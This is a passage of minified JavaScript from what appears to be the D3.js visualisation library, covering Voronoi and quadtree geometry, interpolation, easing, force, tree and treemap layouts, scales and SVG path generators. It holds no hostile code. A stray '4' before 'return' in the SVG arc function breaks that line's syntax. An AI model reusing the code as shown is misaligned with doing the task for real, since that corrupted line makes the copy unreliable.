t,e,r,u=n.U,i=n.L,o=n.R;if(e=i?o?nu(o):i:o,u?u.L===n?u.L=e:u.R=e:this._=e,i&&o?(r=e.C,e.C=n.C,e.L=i,i.U=e,e!==o?(u=e.U,e.U=n.U,n=e.R,u.L=n,e.R=o,o.U=e):(e.U=u,u=e,n=e.R)):(r=n.C,n=e),n&&(n.U=u),!r){if(n&&n.C)return n.C=!1,void 0;do{if(n===this._)break;if(n===u.L){if(t=u.R,t.C&&(t.C=!1,u.C=!0,Kr(this,u),t=u.R),t.L&&t.L.C||t.R&&t.R.C){t.R&&t.R.C||(t.L.C=!1,t.C=!0,Qr(this,t),t=u.R),t.C=u.C,u.C=t.R.C=!1,Kr(this,u),n=this._;break}}else if(t=u.L,t.C&&(t.C=!1,u.C=!0,Qr(this,u),t=u.L),t.L&&t.L.C||t.R&&t.R.C){t.L&&t.L.C||(t.R.C=!1,t.C=!0,Kr(this,t),t=u.L),t.C=u.C,u.C=t.L.C=!1,Qr(this,u),n=this._;break}t.C=!0,n=u,u=u.U}while(!n.C);n&&(n.C=!1)}}},Zo.geom.voronoi=function(n){function t(n){var t=new Array(n.length),r=a[0][0],u=a[0][1],i=a[1][0],o=a[1][1];return tu(e(n),a).cells.forEach(function(e,a){var c=e.edges,s=e.site,l=t[a]=c.length?c.map(function(n){var t=n.start();return[t.x,t.y]}):s.x>=r&&s.x<=i&&s.y>=u&&s.y<=o?[[r,o],[i,o],[i,u],[r,u]]:[];l.point=n[a]}),t}function e(n){return n.map(function(n,t){return{x:Math.round(i(n,t)/ka)*ka,y:Math.round(o(n,t)/ka)*ka,i:t}})}var r=wr,u=Sr,i=r,o=u,a=Jc;return n?t(n):(t.links=function(n){return tu(e(n)).edges.filter(function(n){return n.l&&n.r}).map(function(t){return{source:n[t.l.i],target:n[t.r.i]}})},t.triangles=function(n){var t=[];return tu(e(n)).cells.forEach(function(e,r){for(var u,i,o=e.site,a=e.edges.sort(Hr),c=-1,s=a.length,l=a[s-1].edge,f=l.l===o?l.r:l.l;++c<s;)u=l,i=f,l=a[c].edge,f=l.l===o?l.r:l.l,r<i.i&&r<f.i&&ru(o,i,f)<0&&t.push([n[r],n[i.i],n[f.i]])}),t},t.x=function(n){return arguments.length?(i=bt(r=n),t):r},t.y=function(n){return arguments.length?(o=bt(u=n),t):u},t.clipExtent=function(n){return arguments.length?(a=null==n?Jc:n,t):a===Jc?null:a},t.size=function(n){return arguments.length?t.clipExtent(n&&[[0,0],n]):a===Jc?null:a&&a[1]},t)};var Jc=[[-1e6,-1e6],[1e6,1e6]];Zo.geom.delaunay=function(n){return Zo.geom.voronoi().triangles(n)},Zo.geom.quadtree=function(n,t,e,r,u){function i(n){function i(n,t,e,r,u,i,o,a){if(!isNaN(e)&&!isNaN(r))if(n.leaf){var c=n.x,l=n.y;if(null!=c)if(ua(c-e)+ua(l-r)<.01)s(n,t,e,r,u,i,o,a);else{var f=n.point;n.x=n.y=n.point=null,s(n,f,c,l,u,i,o,a),s(n,t,e,r,u,i,o,a)}else n.x=e,n.y=r,n.point=t}else s(n,t,e,r,u,i,o,a)}function s(n,t,e,r,u,o,a,c){var s=.5*(u+a),l=.5*(o+c),f=e>=s,h=r>=l,g=(h<<1)+f;n.leaf=!1,n=n.nodes[g]||(n.nodes[g]=ou()),f?u=s:a=s,h?o=l:c=l,i(n,t,e,r,u,o,a,c)}var l,f,h,g,p,v,d,m,y,x=bt(a),M=bt(c);if(null!=t)v=t,d=e,m=r,y=u;else if(m=y=-(v=d=1/0),f=[],h=[],p=n.length,o)for(g=0;p>g;++g)l=n[g],l.x<v&&(v=l.x),l.y<d&&(d=l.y),l.x>m&&(m=l.x),l.y>y&&(y=l.y),f.push(l.x),h.push(l.y);else for(g=0;p>g;++g){var _=+x(l=n[g],g),b=+M(l,g);v>_&&(v=_),d>b&&(d=b),_>m&&(m=_),b>y&&(y=b),f.push(_),h.push(b)}var w=m-v,S=y-d;w>S?y=d+w:m=v+S;var k=ou();if(k.add=function(n){i(k,n,+x(n,++g),+M(n,g),v,d,m,y)},k.visit=function(n){au(n,k,v,d,m,y)},g=-1,null==t){for(;++g<p;)i(k,n[g],f[g],h[g],v,d,m,y);--g}else n.forEach(k.add);return f=h=n=l=null,k}var o,a=wr,c=Sr;return(o=arguments.length)?(a=uu,c=iu,3===o&&(u=e,r=t,e=t=0),i(n)):(i.x=function(n){return arguments.length?(a=n,i):a},i.y=function(n){return arguments.length?(c=n,i):c},i.extent=function(n){return arguments.length?(null==n?t=e=r=u=null:(t=+n[0][0],e=+n[0][1],r=+n[1][0],u=+n[1][1]),i):null==t?null:[[t,e],[r,u]]},i.size=function(n){return arguments.length?(null==n?t=e=r=u=null:(t=e=0,r=+n[0],u=+n[1]),i):null==t?null:[r-t,u-e]},i)},Zo.interpolateRgb=cu,Zo.interpolateObject=su,Zo.interpolateNumber=lu,Zo.interpolateString=fu;var Gc=/[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,Kc=new RegExp(Gc.source,"g");Zo.interpolate=hu,Zo.interpolators=[function(n,t){var e=typeof t;return("string"===e?Ia.has(t)||/^(#|rgb\(|hsl\()/.test(t)?cu:fu:t instanceof et?cu:Array.isArray(t)?gu:"object"===e&&isNaN(t)?su:lu)(n,t)}],Zo.interpolateArray=gu;var Qc=function(){return wt},ns=Zo.map({linear:Qc,poly:Mu,quad:function(){return mu},cubic:function(){return yu},sin:function(){return _u},exp:function(){return bu},circle:function(){return wu},elastic:Su,back:ku,bounce:function(){return Eu}}),ts=Zo.map({"in":wt,out:vu,"in-out":du,"out-in":function(n){return du(vu(n))}});Zo.ease=function(n){var t=n.indexOf("-"),e=t>=0?n.substring(0,t):n,r=t>=0?n.substring(t+1):"in";return e=ns.get(e)||Qc,r=ts.get(r)||wt,pu(r(e.apply(null,Vo.call(arguments,1))))},Zo.interpolateHcl=Au,Zo.interpolateHsl=Cu,Zo.interpolateLab=Nu,Zo.interpolateRound=zu,Zo.transform=function(n){var t=$o.createElementNS(Zo.ns.prefix.svg,"g");return(Zo.transform=function(n){if(null!=n){t.setAttribute("transform",n);var e=t.transform.baseVal.consolidate()}return new Lu(e?e.matrix:es)})(n)},Lu.prototype.toString=function(){return"translate("+this.translate+")rotate("+this.rotate+")skewX("+this.skew+")scale("+this.scale+")"};var es={a:1,b:0,c:0,d:1,e:0,f:0};Zo.interpolateTransform=Du,Zo.layout={},Zo.layout.bundle=function(){return function(n){for(var t=[],e=-1,r=n.length;++e<r;)t.push(ju(n[e]));return t}},Zo.layout.chord=function(){function n(){var n,s,f,h,g,p={},v=[],d=Zo.range(i),m=[];for(e=[],r=[],n=0,h=-1;++h<i;){for(s=0,g=-1;++g<i;)s+=u[h][g];v.push(s),m.push(Zo.range(i)),n+=s}for(o&&d.sort(function(n,t){return o(v[n],v[t])}),a&&m.forEach(function(n,t){n.sort(function(n,e){return a(u[t][n],u[t][e])})}),n=(wa-l*i)/n,s=0,h=-1;++h<i;){for(f=s,g=-1;++g<i;){var y=d[h],x=m[y][g],M=u[y][x],_=s,b=s+=M*n;p[y+"-"+x]={index:y,subindex:x,startAngle:_,endAngle:b,value:M}}r[y]={index:y,startAngle:f,endAngle:s,value:(s-f)/n},s+=l}for(h=-1;++h<i;)for(g=h-1;++g<i;){var w=p[h+"-"+g],S=p[g+"-"+h];(w.value||S.value)&&e.push(w.value<S.value?{source:S,target:w}:{source:w,target:S})}c&&t()}function t(){e.sort(function(n,t){return c((n.source.value+n.target.value)/2,(t.source.value+t.target.value)/2)})}var e,r,u,i,o,a,c,s={},l=0;return s.matrix=function(n){return arguments.length?(i=(u=n)&&u.length,e=r=null,s):u},s.padding=function(n){return arguments.length?(l=n,e=r=null,s):l},s.sortGroups=function(n){return arguments.length?(o=n,e=r=null,s):o},s.sortSubgroups=function(n){return arguments.length?(a=n,e=null,s):a},s.sortChords=function(n){return arguments.length?(c=n,e&&t(),s):c},s.chords=function(){return e||n(),e},s.groups=function(){return r||n(),r},s},Zo.layout.force=function(){function n(n){return function(t,e,r,u){if(t.point!==n){var i=t.cx-n.x,o=t.cy-n.y,a=u-e,c=i*i+o*o;if(c>a*a/d){if(p>c){var s=t.charge/c;n.px-=i*s,n.py-=o*s}return!0}if(t.point&&c&&p>c){var s=t.pointCharge/c;n.px-=i*s,n.py-=o*s}}return!t.charge}}function t(n){n.px=Zo.event.x,n.py=Zo.event.y,a.resume()}var e,r,u,i,o,a={},c=Zo.dispatch("start","tick","end"),s=[1,1],l=.9,f=rs,h=us,g=-30,p=is,v=.1,d=.64,m=[],y=[];return a.tick=function(){if((r*=.99)<.005)return c.end({type:"end",alpha:r=0}),!0;var t,e,a,f,h,p,d,x,M,_=m.length,b=y.length;for(e=0;b>e;++e)a=y[e],f=a.source,h=a.target,x=h.x-f.x,M=h.y-f.y,(p=x*x+M*M)&&(p=r*i[e]*((p=Math.sqrt(p))-u[e])/p,x*=p,M*=p,h.x-=x*(d=f.weight/(h.weight+f.weight)),h.y-=M*d,f.x+=x*(d=1-d),f.y+=M*d);if((d=r*v)&&(x=s[0]/2,M=s[1]/2,e=-1,d))for(;++e<_;)a=m[e],a.x+=(x-a.x)*d,a.y+=(M-a.y)*d;if(g)for(Vu(t=Zo.geom.quadtree(m),r,o),e=-1;++e<_;)(a=m[e]).fixed||t.visit(n(a));for(e=-1;++e<_;)a=m[e],a.fixed?(a.x=a.px,a.y=a.py):(a.x-=(a.px-(a.px=a.x))*l,a.y-=(a.py-(a.py=a.y))*l);c.tick({type:"tick",alpha:r})},a.nodes=function(n){return arguments.length?(m=n,a):m},a.links=function(n){return arguments.length?(y=n,a):y},a.size=function(n){return arguments.length?(s=n,a):s},a.linkDistance=function(n){return arguments.length?(f="function"==typeof n?n:+n,a):f},a.distance=a.linkDistance,a.linkStrength=function(n){return arguments.length?(h="function"==typeof n?n:+n,a):h},a.friction=function(n){return arguments.length?(l=+n,a):l},a.charge=function(n){return arguments.length?(g="function"==typeof n?n:+n,a):g},a.chargeDistance=function(n){return arguments.length?(p=n*n,a):Math.sqrt(p)},a.gravity=function(n){return arguments.length?(v=+n,a):v},a.theta=function(n){return arguments.length?(d=n*n,a):Math.sqrt(d)},a.alpha=function(n){return arguments.length?(n=+n,r?r=n>0?n:0:n>0&&(c.start({type:"start",alpha:r=n}),Zo.timer(a.tick)),a):r},a.start=function(){function n(n,r){if(!e){for(e=new Array(c),a=0;c>a;++a)e[a]=[];for(a=0;s>a;++a){var u=y[a];e[u.source.index].push(u.target),e[u.target.index].push(u.source)}}for(var i,o=e[t],a=-1,s=o.length;++a<s;)if(!isNaN(i=o[a][n]))return i;return Math.random()*r}var t,e,r,c=m.length,l=y.length,p=s[0],v=s[1];for(t=0;c>t;++t)(r=m[t]).index=t,r.weight=0;for(t=0;l>t;++t)r=y[t],"number"==typeof r.source&&(r.source=m[r.source]),"number"==typeof r.target&&(r.target=m[r.target]),++r.source.weight,++r.target.weight;for(t=0;c>t;++t)r=m[t],isNaN(r.x)&&(r.x=n("x",p)),isNaN(r.y)&&(r.y=n("y",v)),isNaN(r.px)&&(r.px=r.x),isNaN(r.py)&&(r.py=r.y);if(u=[],"function"==typeof f)for(t=0;l>t;++t)u[t]=+f.call(this,y[t],t);else for(t=0;l>t;++t)u[t]=f;if(i=[],"function"==typeof h)for(t=0;l>t;++t)i[t]=+h.call(this,y[t],t);else for(t=0;l>t;++t)i[t]=h;if(o=[],"function"==typeof g)for(t=0;c>t;++t)o[t]=+g.call(this,m[t],t);else for(t=0;c>t;++t)o[t]=g;return a.resume()},a.resume=function(){return a.alpha(.1)},a.stop=function(){return a.alpha(0)},a.drag=function(){return e||(e=Zo.behavior.drag().origin(wt).on("dragstart.force",Ou).on("drag.force",t).on("dragend.force",Yu)),arguments.length?(this.on("mouseover.force",Iu).on("mouseout.force",Zu).call(e),void 0):e},Zo.rebind(a,c,"on")};var rs=20,us=1,is=1/0;Zo.layout.hierarchy=function(){function n(u){var i,o=[u],a=[];for(u.depth=0;null!=(i=o.pop());)if(a.push(i),(s=e.call(n,i,i.depth))&&(c=s.length)){for(var c,s,l;--c>=0;)o.push(l=s[c]),l.parent=i,l.depth=i.depth+1;r&&(i.value=0),i.children=s}else r&&(i.value=+r.call(n,i,i.depth)||0),delete i.children;return Bu(u,function(n){var e,u;t&&(e=n.children)&&e.sort(t),r&&(u=n.parent)&&(u.value+=n.value)}),a}var t=Gu,e=Wu,r=Ju;return n.sort=function(e){return arguments.length?(t=e,n):t},n.children=function(t){return arguments.length?(e=t,n):e},n.value=function(t){return arguments.length?(r=t,n):r},n.revalue=function(t){return r&&($u(t,function(n){n.children&&(n.value=0)}),Bu(t,function(t){var e;t.children||(t.value=+r.call(n,t,t.depth)||0),(e=t.parent)&&(e.value+=t.value)})),t},n},Zo.layout.partition=function(){function n(t,e,r,u){var i=t.children;if(t.x=e,t.y=t.depth*u,t.dx=r,t.dy=u,i&&(o=i.length)){var o,a,c,s=-1;for(r=t.value?r/t.value:0;++s<o;)n(a=i[s],e,c=a.value*r,u),e+=c}}function t(n){var e=n.children,r=0;if(e&&(u=e.length))for(var u,i=-1;++i<u;)r=Math.max(r,t(e[i]));return 1+r}function e(e,i){var o=r.call(this,e,i);return n(o[0],0,u[0],u[1]/t(o[0])),o}var r=Zo.layout.hierarchy(),u=[1,1];return e.size=function(n){return arguments.length?(u=n,e):u},Xu(e,r)},Zo.layout.pie=function(){function n(i){var o=i.map(function(e,r){return+t.call(n,e,r)}),a=+("function"==typeof r?r.apply(this,arguments):r),c=(("function"==typeof u?u.apply(this,arguments):u)-a)/Zo.sum(o),s=Zo.range(i.length);null!=e&&s.sort(e===os?function(n,t){return o[t]-o[n]}:function(n,t){return e(i[n],i[t])});var l=[];return s.forEach(function(n){var t;l[n]={data:i[n],value:t=o[n],startAngle:a,endAngle:a+=t*c}}),l}var t=Number,e=os,r=0,u=wa;return n.value=function(e){return arguments.length?(t=e,n):t},n.sort=function(t){return arguments.length?(e=t,n):e},n.startAngle=function(t){return arguments.length?(r=t,n):r},n.endAngle=function(t){return arguments.length?(u=t,n):u},n};var os={};Zo.layout.stack=function(){function n(a,c){var s=a.map(function(e,r){return t.call(n,e,r)}),l=s.map(function(t){return t.map(function(t,e){return[i.call(n,t,e),o.call(n,t,e)]})}),f=e.call(n,l,c);s=Zo.permute(s,f),l=Zo.permute(l,f);var h,g,p,v=r.call(n,l,c),d=s.length,m=s[0].length;for(g=0;m>g;++g)for(u.call(n,s[0][g],p=v[g],l[0][g][1]),h=1;d>h;++h)u.call(n,s[h][g],p+=l[h-1][g][1],l[h][g][1]);return a}var t=wt,e=ei,r=ri,u=ti,i=Qu,o=ni;return n.values=function(e){return arguments.length?(t=e,n):t},n.order=function(t){return arguments.length?(e="function"==typeof t?t:as.get(t)||ei,n):e},n.offset=function(t){return arguments.length?(r="function"==typeof t?t:cs.get(t)||ri,n):r},n.x=function(t){return arguments.length?(i=t,n):i},n.y=function(t){return arguments.length?(o=t,n):o},n.out=function(t){return arguments.length?(u=t,n):u},n};var as=Zo.map({"inside-out":function(n){var t,e,r=n.length,u=n.map(ui),i=n.map(ii),o=Zo.range(r).sort(function(n,t){return u[n]-u[t]}),a=0,c=0,s=[],l=[];for(t=0;r>t;++t)e=o[t],c>a?(a+=i[e],s.push(e)):(c+=i[e],l.push(e));return l.reverse().concat(s)},reverse:function(n){return Zo.range(n.length).reverse()},"default":ei}),cs=Zo.map({silhouette:function(n){var t,e,r,u=n.length,i=n[0].length,o=[],a=0,c=[];for(e=0;i>e;++e){for(t=0,r=0;u>t;t++)r+=n[t][e][1];r>a&&(a=r),o.push(r)}for(e=0;i>e;++e)c[e]=(a-o[e])/2;return c},wiggle:function(n){var t,e,r,u,i,o,a,c,s,l=n.length,f=n[0],h=f.length,g=[];for(g[0]=c=s=0,e=1;h>e;++e){for(t=0,u=0;l>t;++t)u+=n[t][e][1];for(t=0,i=0,a=f[e][0]-f[e-1][0];l>t;++t){for(r=0,o=(n[t][e][1]-n[t][e-1][1])/(2*a);t>r;++r)o+=(n[r][e][1]-n[r][e-1][1])/a;i+=o*n[t][e][1]}g[e]=c-=u?i/u*a:0,s>c&&(s=c)}for(e=0;h>e;++e)g[e]-=s;return g},expand:function(n){var t,e,r,u=n.length,i=n[0].length,o=1/u,a=[];for(e=0;i>e;++e){for(t=0,r=0;u>t;t++)r+=n[t][e][1];if(r)for(t=0;u>t;t++)n[t][e][1]/=r;else for(t=0;u>t;t++)n[t][e][1]=o}for(e=0;i>e;++e)a[e]=0;return a},zero:ri});Zo.layout.histogram=function(){function n(n,i){for(var o,a,c=[],s=n.map(e,this),l=r.call(this,s,i),f=u.call(this,l,s,i),i=-1,h=s.length,g=f.length-1,p=t?1:1/h;++i<g;)o=c[i]=[],o.dx=f[i+1]-(o.x=f[i]),o.y=0;if(g>0)for(i=-1;++i<h;)a=s[i],a>=l[0]&&a<=l[1]&&(o=c[Zo.bisect(f,a,1,g)-1],o.y+=p,o.push(n[i]));return c}var t=!0,e=Number,r=si,u=ai;return n.value=function(t){return arguments.length?(e=t,n):e},n.range=function(t){return arguments.length?(r=bt(t),n):r},n.bins=function(t){return arguments.length?(u="number"==typeof t?function(n){return ci(n,t)}:bt(t),n):u},n.frequency=function(e){return arguments.length?(t=!!e,n):t},n},Zo.layout.pack=function(){function n(n,i){var o=e.call(this,n,i),a=o[0],c=u[0],s=u[1],l=null==t?Math.sqrt:"function"==typeof t?t:function(){return t};if(a.x=a.y=0,Bu(a,function(n){n.r=+l(n.value)}),Bu(a,pi),r){var f=r*(t?1:Math.max(2*a.r/c,2*a.r/s))/2;Bu(a,function(n){n.r+=f}),Bu(a,pi),Bu(a,function(n){n.r-=f})}return mi(a,c/2,s/2,t?1:1/Math.max(2*a.r/c,2*a.r/s)),o}var t,e=Zo.layout.hierarchy().sort(li),r=0,u=[1,1];return n.size=function(t){return arguments.length?(u=t,n):u},n.radius=function(e){return arguments.length?(t=null==e||"function"==typeof e?e:+e,n):t},n.padding=function(t){return arguments.length?(r=+t,n):r},Xu(n,e)},Zo.layout.tree=function(){function n(n,u){var l=o.call(this,n,u),f=l[0],h=t(f);if(Bu(h,e),h.parent.m=-h.z,$u(h,r),s)$u(f,i);else{var g=f,p=f,v=f;$u(f,function(n){n.x<g.x&&(g=n),n.x>p.x&&(p=n),n.depth>v.depth&&(v=n)});var d=a(g,p)/2-g.x,m=c[0]/(p.x+a(p,g)/2+d),y=c[1]/(v.depth||1);$u(f,function(n){n.x=(n.x+d)*m,n.y=n.depth*y})}return l}function t(n){for(var t,e={A:null,children:[n]},r=[e];null!=(t=r.pop());)for(var u,i=t.children,o=0,a=i.length;a>o;++o)r.push((i[o]=u={_:i[o],parent:t,children:(u=i[o].children)&&u.slice()||[],A:null,a:null,z:0,m:0,c:0,s:0,t:null,i:o}).a=u);return e.children[0]}function e(n){var t=n.children,e=n.parent.children,r=n.i?e[n.i-1]:null;if(t.length){wi(n);var i=(t[0].z+t[t.length-1].z)/2;r?(n.z=r.z+a(n._,r._),n.m=n.z-i):n.z=i}else r&&(n.z=r.z+a(n._,r._));n.parent.A=u(n,r,n.parent.A||e[0])}function r(n){n._.x=n.z+n.parent.m,n.m+=n.parent.m}function u(n,t,e){if(t){for(var r,u=n,i=n,o=t,c=u.parent.children[0],s=u.m,l=i.m,f=o.m,h=c.m;o=_i(o),u=Mi(u),o&&u;)c=Mi(c),i=_i(i),i.a=n,r=o.z+f-u.z-s+a(o._,u._),r>0&&(bi(Si(o,n,e),n,r),s+=r,l+=r),f+=o.m,s+=u.m,h+=c.m,l+=i.m;o&&!_i(i)&&(i.t=o,i.m+=f-l),u&&!Mi(c)&&(c.t=u,c.m+=s-h,e=n)}return e}function i(n){n.x*=c[0],n.y=n.depth*c[1]}var o=Zo.layout.hierarchy().sort(null).value(null),a=xi,c=[1,1],s=null;return n.separation=function(t){return arguments.length?(a=t,n):a},n.size=function(t){return arguments.length?(s=null==(c=t)?i:null,n):s?null:c},n.nodeSize=function(t){return arguments.length?(s=null==(c=t)?null:i,n):s?c:null},Xu(n,o)},Zo.layout.cluster=function(){function n(n,i){var o,a=t.call(this,n,i),c=a[0],s=0;Bu(c,function(n){var t=n.children;t&&t.length?(n.x=Ei(t),n.y=ki(t)):(n.x=o?s+=e(n,o):0,n.y=0,o=n)});var l=Ai(c),f=Ci(c),h=l.x-e(l,f)/2,g=f.x+e(f,l)/2;return Bu(c,u?function(n){n.x=(n.x-c.x)*r[0],n.y=(c.y-n.y)*r[1]}:function(n){n.x=(n.x-h)/(g-h)*r[0],n.y=(1-(c.y?n.y/c.y:1))*r[1]}),a}var t=Zo.layout.hierarchy().sort(null).value(null),e=xi,r=[1,1],u=!1;return n.separation=function(t){return arguments.length?(e=t,n):e},n.size=function(t){return arguments.length?(u=null==(r=t),n):u?null:r},n.nodeSize=function(t){return arguments.length?(u=null!=(r=t),n):u?r:null},Xu(n,t)},Zo.layout.treemap=function(){function n(n,t){for(var e,r,u=-1,i=n.length;++u<i;)r=(e=n[u]).value*(0>t?0:t),e.area=isNaN(r)||0>=r?0:r}function t(e){var i=e.children;if(i&&i.length){var o,a,c,s=f(e),l=[],h=i.slice(),p=1/0,v="slice"===g?s.dx:"dice"===g?s.dy:"slice-dice"===g?1&e.depth?s.dy:s.dx:Math.min(s.dx,s.dy);for(n(h,s.dx*s.dy/e.value),l.area=0;(c=h.length)>0;)l.push(o=h[c-1]),l.area+=o.area,"squarify"!==g||(a=r(l,v))<=p?(h.pop(),p=a):(l.area-=l.pop().area,u(l,v,s,!1),v=Math.min(s.dx,s.dy),l.length=l.area=0,p=1/0);l.length&&(u(l,v,s,!0),l.length=l.area=0),i.forEach(t)}}function e(t){var r=t.children;if(r&&r.length){var i,o=f(t),a=r.slice(),c=[];for(n(a,o.dx*o.dy/t.value),c.area=0;i=a.pop();)c.push(i),c.area+=i.area,null!=i.z&&(u(c,i.z?o.dx:o.dy,o,!a.length),c.length=c.area=0);r.forEach(e)}}function r(n,t){for(var e,r=n.area,u=0,i=1/0,o=-1,a=n.length;++o<a;)(e=n[o].area)&&(i>e&&(i=e),e>u&&(u=e));return r*=r,t*=t,r?Math.max(t*u*p/r,r/(t*i*p)):1/0}function u(n,t,e,r){var u,i=-1,o=n.length,a=e.x,s=e.y,l=t?c(n.area/t):0;if(t==e.dx){for((r||l>e.dy)&&(l=e.dy);++i<o;)u=n[i],u.x=a,u.y=s,u.dy=l,a+=u.dx=Math.min(e.x+e.dx-a,l?c(u.area/l):0);u.z=!0,u.dx+=e.x+e.dx-a,e.y+=l,e.dy-=l}else{for((r||l>e.dx)&&(l=e.dx);++i<o;)u=n[i],u.x=a,u.y=s,u.dx=l,s+=u.dy=Math.min(e.y+e.dy-s,l?c(u.area/l):0);u.z=!1,u.dy+=e.y+e.dy-s,e.x+=l,e.dx-=l}}function i(r){var u=o||a(r),i=u[0];return i.x=0,i.y=0,i.dx=s[0],i.dy=s[1],o&&a.revalue(i),n([i],i.dx*i.dy/i.value),(o?e:t)(i),h&&(o=u),u}var o,a=Zo.layout.hierarchy(),c=Math.round,s=[1,1],l=null,f=Ni,h=!1,g="squarify",p=.5*(1+Math.sqrt(5));return i.size=function(n){return arguments.length?(s=n,i):s},i.padding=function(n){function t(t){var e=n.call(i,t,t.depth);return null==e?Ni(t):zi(t,"number"==typeof e?[e,e,e,e]:e)}function e(t){return zi(t,n)}if(!arguments.length)return l;var r;return f=null==(l=n)?Ni:"function"==(r=typeof n)?t:"number"===r?(n=[n,n,n,n],e):e,i},i.round=function(n){return arguments.length?(c=n?Math.round:Number,i):c!=Number},i.sticky=function(n){return arguments.length?(h=n,o=null,i):h},i.ratio=function(n){return arguments.length?(p=n,i):p},i.mode=function(n){return arguments.length?(g=n+"",i):g},Xu(i,a)},Zo.random={normal:function(n,t){var e=arguments.length;return 2>e&&(t=1),1>e&&(n=0),function(){var e,r,u;do e=2*Math.random()-1,r=2*Math.random()-1,u=e*e+r*r;while(!u||u>1);return n+t*e*Math.sqrt(-2*Math.log(u)/u)}},logNormal:function(){var n=Zo.random.normal.apply(Zo,arguments);return function(){return Math.exp(n())}},bates:function(n){var t=Zo.random.irwinHall(n);return function(){return t()/n}},irwinHall:function(n){return function(){for(var t=0,e=0;n>e;e++)t+=Math.random();return t}}},Zo.scale={};var ss={floor:wt,ceil:wt};Zo.scale.linear=function(){return Ui([0,1],[0,1],hu,!1)};var ls={s:1,g:1,p:1,r:1,e:1};Zo.scale.log=function(){return Vi(Zo.scale.linear().domain([0,1]),10,!0,[1,10])};var fs=Zo.format(".0e"),hs={floor:function(n){return-Math.ceil(-n)},ceil:function(n){return-Math.floor(-n)}};Zo.scale.pow=function(){return Xi(Zo.scale.linear(),1,[0,1])},Zo.scale.sqrt=function(){return Zo.scale.pow().exponent(.5)},Zo.scale.ordinal=function(){return Bi([],{t:"range",a:[[]]})},Zo.scale.category10=function(){return Zo.scale.ordinal().range(gs)},Zo.scale.category20=function(){return Zo.scale.ordinal().range(ps)},Zo.scale.category20b=function(){return Zo.scale.ordinal().range(vs)},Zo.scale.category20c=function(){return Zo.scale.ordinal().range(ds)};var gs=[2062260,16744206,2924588,14034728,9725885,9197131,14907330,8355711,12369186,1556175].map(vt),ps=[2062260,11454440,16744206,16759672,2924588,10018698,14034728,16750742,9725885,12955861,9197131,12885140,14907330,16234194,8355711,13092807,12369186,14408589,1556175,10410725].map(vt),vs=[3750777,5395619,7040719,10264286,6519097,9216594,11915115,13556636,9202993,12426809,15186514,15190932,8666169,11356490,14049643,15177372,8077683,10834324,13528509,14589654].map(vt),ds=[3244733,7057110,10406625,13032431,15095053,16616764,16625259,16634018,3253076,7652470,10607003,13101504,7695281,10394312,12369372,14342891,6513507,9868950,12434877,14277081].map(vt);Zo.scale.quantile=function(){return Wi([],[])},Zo.scale.quantize=function(){return Ji(0,1,[0,1])},Zo.scale.threshold=function(){return Gi([.5],[0,1])},Zo.scale.identity=function(){return Ki([0,1])},Zo.svg={},Zo.svg.arc=function(){function n(){var n=t.apply(this,arguments),i=e.apply(this,arguments),o=r.apply(this,arguments)+ms,a=u.apply(this,arguments)+ms,c=(o>a&&(c=o,o=a,a=c),a-o),s=ba>c?"0":"1",l=Math.cos(o),f=Math.sin(o),h=Math.cos(a),g=Math.sin(a);
4 return c>=ys?n?"M0,"+i+"A"+i+","+i+" 0 1,1 0,"+-i+"A"+i+","+i+" 0 1,1 0,"+i+"M0,"+n+"A"+n+","+n+" 0 1,0 0,"+-n+"A"+n+","+n+" 0 1,0 0,"+n+"Z":"M0,"+i+"A"+i+","+i+" 0 1,1 0,"+-i+"A"+i+","+i+" 0 1,1 0,"+i+"Z":n?"M"+i*l+","+i*f+"A"+i+","+i+" 0 "+s+",1 "+i*h+","+i*g+"L"+n*h+","+n*g+"A"+n+","+n+" 0 "+s+",0 "+n*l+","+n*f+"Z":"M"+i*l+","+i*f+"A"+i+","+i+" 0 "+s+",1 "+i*h+","+i*g+"L0,0"+"Z"}var t=Qi,e=no,r=to,u=eo;return n.innerRadius=function(e){return arguments.length?(t=bt(e),n):t},n.outerRadius=function(t){return arguments.length?(e=bt(t),n):e},n.startAngle=function(t){return arguments.length?(r=bt(t),n):r},n.endAngle=function(t){return arguments.length?(u=bt(t),n):u},n.centroid=function(){var n=(t.apply(this,arguments)+e.apply(this,arguments))/2,i=(r.apply(this,arguments)+u.apply(this,arguments))/2+ms;return[Math.cos(i)*n,Math.sin(i)*n]},n};var ms=-Sa,ys=wa-ka;Zo.svg.line=function(){return ro(wt)};var xs=Zo.map({linear:uo,"linear-closed":io,step:oo,"step-before":ao,"step-after":co,basis:po,"basis-open":vo,"basis-closed":mo,bundle:yo,cardinal:fo,"cardinal-open":so,"cardinal-closed":lo,monotone:So});xs.forEach(function(n,t){t.key=n,t.closed=/-closed$/.test(n)});var Ms=[0,2/3,1/3,0],_s=[0,1/3,2/3,0],bs=[0,1/6,2/3,1/6];Zo.svg.line.radial=function(){var n=ro(ko);return n.radius=n.x,delete n.x,n.angle=n.y,delete n.y,n},ao.reverse=co,co.reverse=ao,Zo.svg.area=function(){return Eo(wt)},Zo.svg.area.radial=function(){var n=Eo(ko);return n.radius=n.x,delete n.x,n.innerRadius=n.x0,delete n.x0,n.outerRadius=n.x1,delete n.x1,n.angle=n.y,delete n.y,n.startAngle=n.y0,delete n.y0,n.endAngle=n.y1,delete n.y1,n},Zo.svg.chord=function(){function n(n,a){var c=t(this,i,n,a),s=t(this,o,n,a);return"M"+c.p0+r(c.r,c.p1,c.a1-c.a0)+(e(c,s)?u(c.r,c.p1,c.r,c.p0):u(c.r,c.p1,s.r,s.p0)+r(s.r,s.p1,s.a1-s.a0)+u(s.r,s.p1,c.r,c.p0))+"Z"}function t(n,t,e,r){var u=t.call(n,e,r),i=a.call(n,u,r),o=c.call(n,u,r)+ms,l=s.call(n,u,r)+ms;return{r:i,a0:o,a1:l,p0:[i*Math.cos(o),i*Math.sin(o)],p1:[i*Math.cos(l),i*Math.sin(l)]}}function e(n,t){return n.a0==t.a0&&n.a1==t.a1}function r(n,t,e){return"A"+n+","+n+" 0 "+ +(e>ba)+",1 "+t}function u(n,t,e,r){return"Q 0,0 "+r}var i=gr,o=pr,a=Ao,c=to,s=eo;return n.radius=function(t){return arguments.length?(a=bt(t),n):a},n.source=function(t){return arguments.length?(i=bt(t),n):i},n.target=function(t){return arguments.length?(o=bt(t),n):o},n.startAngle=function(t){return arguments.length?(c=bt(t),n):c},n.endAngle=function(t){return arguments.length?(s=bt(t),n):s},n},Zo.svg.diagonal=function(){function n(n,u){var 